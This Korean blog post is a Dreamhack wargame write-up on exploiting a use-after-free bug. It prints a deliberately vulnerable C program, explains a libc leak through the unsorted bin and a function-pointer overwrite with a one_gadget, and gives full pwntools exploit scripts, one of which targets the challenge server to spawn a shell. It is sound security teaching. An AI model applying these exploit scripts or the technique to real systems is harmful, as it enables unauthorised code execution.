본문 바로가기
Security/System Hacking

[Dreamhack System Hacking] STAGE 11 - 함께실습

by 단월໒꒱ 2022. 4. 1.

Exploit Tech : Use After Free

1. 서론

 - UAF 취약점이 있는 코드를 사용해 공격하여 셸을 획득하는 실습

 - 예제 코드

 

// Name: uaf_overwrite.c
// Compile: gcc -o uaf_overwrite uaf_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct Human {
  char name[16];
  int weight;
  long age;
};

struct Robot {
  char name[16];
  int weight;
  void (*fptr)();
};

struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;

void print_name() { printf("Name: %s\n", robot->name); }

void menu() {
  printf("1. Human\n");
  printf("2. Robot\n");
  printf("3. Custom\n");
  printf("> ");
}

void human_func() {
  int sel;
  human = (struct Human *)malloc(sizeof(struct Human));
  strcpy(human->name, "Human");
  printf("Human Weight: ");
  scanf("%d", &human->weight);
  
  printf("Human Age: ");
  scanf("%ld", &human->age);
  
  free(human);
}

void robot_func() {
  int sel;
  robot = (struct Robot *)malloc(sizeof(struct Robot));
  
  strcpy(robot->name, "Robot");
  printf("Robot Weight: ");
  scanf("%d", &robot->weight);
  
  if (robot->fptr)
    robot->fptr();
  else
    robot->fptr = print_name;
    
  robot->fptr(robot);
  
  free(robot);
}

int custom_func() {
  unsigned int size;
  unsigned int idx;
  if (c_idx > 9) {
    printf("Custom FULL!!\n");
    return 0;
  }
  printf("Size: ");
  scanf("%d", &size);
  
  if (size >= 0x100) {
    custom[c_idx] = malloc(size);
    printf("Data: ");
    read(0, custom[c_idx], size - 1);
    
    printf("Data: %s\n", custom[c_idx]);
    
    printf("Free idx: ");
    scanf("%d", &idx);
    
    if (idx < 10 && custom[idx]) {
      free(custom[idx]);
      custom[idx] = NULL;
    }
  }
  
  c_idx++;
}

int main() {
  int idx;
  char *ptr;
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  
  while (1) {
    menu();
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        human_func();
        break;
      case 2:
        robot_func();
        break;
      case 3:
        custom_func();
        break;
    }
  }
}

 

 

2. 분석 및 설계

 1) 보호 기법

 

 

 

 

   - 모든 보호 기법이 적용되어 있음

   - FULL RELRO 보호 기법으로 인해 GOT overwrite 공격이 어려움

       -> 이럴 땐 라이브러리에 존재하는 훅 또는 코드에서 사용하는 함수 포인터를 덮는 방법을 생각해 볼 수 있음

 

 2) 코드 분석

 

struct Human {
  char name[16];
  int weight;
  long age;
};

struct Robot {
  char name[16];
  int weight;
  void (*fptr)();
};

struct Human *human;
struct Robot *robot;

 

 

   - 크기가 같은 Human과 Robot 구조체가 정의되어 있음 -> 각 구조체 변수 또는 원하는 크기의 청크를 할당하고 해제 가능

 

 

void human_func() {
  int sel;
  human = (struct Human *)malloc(sizeof(struct Human));
  strcpy(human->name, "Human");
  printf("Human Weight: ");
  scanf("%d", &human->weight);
  
  printf("Human Age: ");
  scanf("%ld", &human->age);
  
  free(human);
}

void robot_func() {
  int sel;
  robot = (struct Robot *)malloc(sizeof(struct Robot));
  
  strcpy(robot->name, "Robot");
  printf("Robot Weight: ");
  scanf("%d", &robot->weight);
  
  if (robot->fptr)
    robot->fptr();
  else
    robot->fptr = print_name;
    
  robot->fptr(robot);
  
  free(robot);
}

 

 

   - human_func 함수와 robot_func 함수를 보면, 구조체 변수를 위한 메모리 영역을 할당할 때, 할당한 메모리 영역을 초기화X

      Human과 Robot 구조체 크기 동일 -> 한 구조체를 해제하고 다른 구조체를 할당하면 해제된 구조체의 값을 사용할 수 있는 UAF 발생

   - robot_func는 생성한 Robot 변수의 fptr이 NULL이 아니면 이를 호출해주므로, UAF로 이 변수에 원하는 값을 남겨놓을 수 있다면, 실행 흐름 조작 가능

 

 

int custom_func() {
  unsigned int size;
  unsigned int idx;
  if (c_idx > 9) {
    printf("Custom FULL!!\n");
    return 0;
  }
  printf("Size: ");
  scanf("%d", &size);
  
  if (size >= 0x100) {
    custom[c_idx] = malloc(size);
    printf("Data: ");
    read(0, custom[c_idx], size - 1);
    
    printf("Data: %s\n", custom[c_idx]);
    
    printf("Free idx: ");
    scanf("%d", &idx);
    
    if (idx < 10 && custom[idx]) {
      free(custom[idx]);
      custom[idx] = NULL;
    }
  }
  
  c_idx++;
}

 

 

   - custom_func 함수를 사용하면 0x100이상의 크기를 갖는 청크를 할당하고 해제할 수 있음

     이 함수에서도 마찬가지로 메모리 영역을 초기화하지 않아서 UAF 발생 가능

 

 3) 익스플로잇 설계

   - Robot.fptr의 값을 one_gadget의 주소로 덮어서 셸을 획득하자

   - 이를 위해 libc가 매핑된 주소를 먼저 구해야 함

 

   ① 라이브러리 릭

       - 코드에 있는 취약점은 UAF 밖에 없으므로, 이 취약점을 이용하여 libc가 매핑된 주소를 구해야 함

          -> 이를 위해 unsorted bin의 특징을 이용할 것

          cf) unsorted bin : 분류되지 않은 청크들을 보관하는 bin

 

       - Unsorted bin에 처음 연결되는 청크는 libc의 특정 주소와 이중 원형 연결 리스트를 형성

           다시 말해, 처음 unsorted bin에 연결되는 청크의 fd와 bk에는 libc 내부의 주소가 쓰임

           따라서 unsorted bin에 연결된 청크를 재할당하고, fd나 bk의 값을 읽으면 libc가 매핑된 주소를 계산할 수 있음

 

       - custom_func 함수는 0x100 바이트 이상의 크기를 갖는 청크를 할당하고, 할당된 청크들 중 원하는 청크를 해제할 수 있는 함수                 0x410 이하의 크기를 갖는 청크는 tcache에 먼저 삽입되므로, 이보다 큰 청크를 해제해서 unsorted bin에 연결하고,

           이를 재할당하여 값을 읽으면 libc가 매핑된 주소를 계산할 수 있을 것

 

       - 주의할 점 : 해제할 청크가 탑 청크와 맞닿으면 안 됨!

           -> unsorted bin에 포함되는 청크와 탑 청크는 병합 대상이므로, 이 둘이 맞닿으면 청크가 병합됨

                이를 피하려면 청크 두 개를 연속으로 할당하고, 처음 할당한 청크를 해제해야 한다.

 

   ② 함수 포인터 덮어쓰기

       - Human과 Robot은 같은 크기의 구조체이므로, Human 구조체가 해제되고 Robot 구조체가 할당되면, Robot은 Human이 사용             했던 영역을 재사용하게 됨

       - Robot이 할당될 때, 사용할 메모리 영역을 초기화하지 않으므로 Human에 입력한 값은 그대로 재사용됨

       - Human구조체의 age는 Robot구조체의 fptr와 위치가 같음

          -> human_func를 호출했을 때, age에 one_gadget 주소를 입력하고, 이어서 robot_func를 호출하면 fptr의 위치에 남아있는                   one_gadget을 호출시킬 수 있음

 

3. 익스플로잇

 1) 라이브러리 릭

   - custom_func를 이용하여 0x510의 크기를 갖는 청크를 할당하고, 해제한 뒤, 다시 할당하여 libc 내부의 주소를 구함

   - 이때, 구해낸 주소와 libc가 매핑된 주소의 오프셋은 gdb로 쉽게 구할 수 있음

   - gdb를 통해 메모리 오프셋을 구하는 방법은 info proc map 또는 vmmap을 이용할 수 있음

 

 

 

 

from pwn import *

p = process("./uaf_overwrite")

def slog(sym, val): success(sym + ": " + hex(val))

def human(weight, age):
    p.sendlineafter(">", "1")
    p.sendlineafter(": ", str(weight))
    p.sendlineafter(": ", str(age))
    
def robot(weight):
    p.sendlineafter(">", "2")
    p.sendlineafter(": ", str(weight))
    
def custom(size, data, idx):
    p.sendlineafter(">", "3")
    p.sendlineafter(": ", str(size))
    p.sendafter(": ", data)
    p.sendlineafter(": ", str(idx))
    
# UAF to calculate the `libc_base`
custom(0x500, "AAAA", -1)
custom(0x500, "AAAA", -1)
custom(0x500, "AAAA", 0)
custom(0x500, "B", -1)

lb = u64(p.recvline()[:-1].ljust(8, b"\x00")) - 0x3ebc42
og = lb + 0x10a41c

slog("libc_base", lb)
slog("one_gadget", og)

 

 

 2) 함수 포인터 덮어쓰기

   - human->age와 robot->fptr이 구조체 상에서 같은 위치에 있음을 이용

         -> UAF로 robot->fptr의 값을 원하는 값으로 조작할 수 있음

   - human->age에 one_gadget의 주소를 입력하고 해제한 뒤 robot_func를 호출하면 다음과 같이 셸을 획득할 수 있음

 

 

 

 

from pwn import *

p = process("./uaf_overwrite")

def slog(sym, val): success(sym + ": " + hex(val))

def human(weight, age):
    p.sendlineafter(">", "1")
    p.sendlineafter(": ", str(weight))
    p.sendlineafter(": ", str(age))
    
def robot(weight):
    p.sendlineafter(">", "2")
    p.sendlineafter(": ", str(weight))
    
def custom(size, data, idx):
    p.sendlineafter(">", "3")
    p.sendlineafter(": ", str(size))
    p.sendafter(": ", data)
    p.sendlineafter(": ", str(idx))
    
# UAF to calculate the `libc_base`
custom(0x500, "AAAA", -1)
custom(0x500, "AAAA", -1)
custom(0x500, "AAAA", 0)
custom(0x500, "B", -1)

lb = u64(p.recvline()[:-1].ljust(8, b"\x00")) - 0x3ebc42
og = lb + 0x10a41c

slog("libc_base", lb)
slog("one_gadget", og)

# UAF to manipulate `robot->fptr` & get shell
human("1", og)
robot("1")

p.interactive()

 

 

[Use After Free wargame]

 

 

 

c코드를 살펴보니 앞에서 함께 실습했던 코드랑 동일한 내용이다.

자세한 내용은 앞서 설명했으므로 생략하고 드림핵 포트와 연결해주는 부분을 추가해주었다.

 

이렇게 완성한 익스플로잇 코드는 아래와 같다.

 

 

from pwn import *

p = remote("host1.dreamhack.games", 20016)

def slog(sym, val): success(sym + ": " + hex(val))

def human(weight, age):
    p.sendlineafter(">", "1")
    p.sendlineafter(": ", str(weight))
    p.sendlineafter(": ", str(age))

def robot(weight):
    p.sendlineafter(">", "2")
    p.sendlineafter(": ", str(weight))

def custom(size, data, idx):
    p.sendlineafter(">", "3")
    p.sendlineafter(": ", str(size))
    p.sendafter(": ", data)
    p.sendlineafter(": ", str(idx))

# UAF to calculate the `libc_base`
custom(0x500, "AAAA", -1)
custom(0x500, "AAAA", -1)
custom(0x500, "AAAA", 0)
custom(0x500, "B", -1)

lb = u64(p.recvline()[:-1].ljust(8, b"\x00")) - 0x3ebc42
og = lb + 0x10a41c

slog("libc_base", lb)
slog("one_gadget", og)

# UAF to manipulate `robot->fptr` & get shell
human("1", og)
robot("1")

p.interactive()

 

 

작성한 익스플로잇 코드를 실행시키니

 

 

 

 

셸 획득에 성공하여 ls로 파일을 확인한 뒤 cat으로 flag 내용을 확인할 수 있었다.

 

 

 

 

STAGE 11 클리어

 

 

댓글